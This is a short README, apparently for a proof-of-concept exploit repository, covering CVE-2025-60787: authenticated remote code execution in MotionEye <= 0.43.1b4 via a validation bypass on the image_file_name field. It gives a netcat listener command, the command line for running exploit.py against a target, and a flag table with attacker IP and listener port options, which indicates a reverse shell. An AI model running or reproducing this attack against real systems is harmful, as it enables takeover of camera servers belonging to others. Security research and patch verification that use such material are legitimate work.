lil0xplorer/cve-2025-60787_poc
Authenticated RCE in MotionEye <= 0.43.1b4 via client-side validation bypass on the image_file_name field.
nc -lvnp 4444
python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444
| Flag | Description |
|---|---|
-t | Target host/URL (defaults to port 8765) |
-u | Username (default: admin) |
-p | Password - same value you type in the GUI / found in motion.conf |
-lh | Your attacker IP |
-lp | Listener port |
--camera-id | Camera ID (auto-detected if omitted) |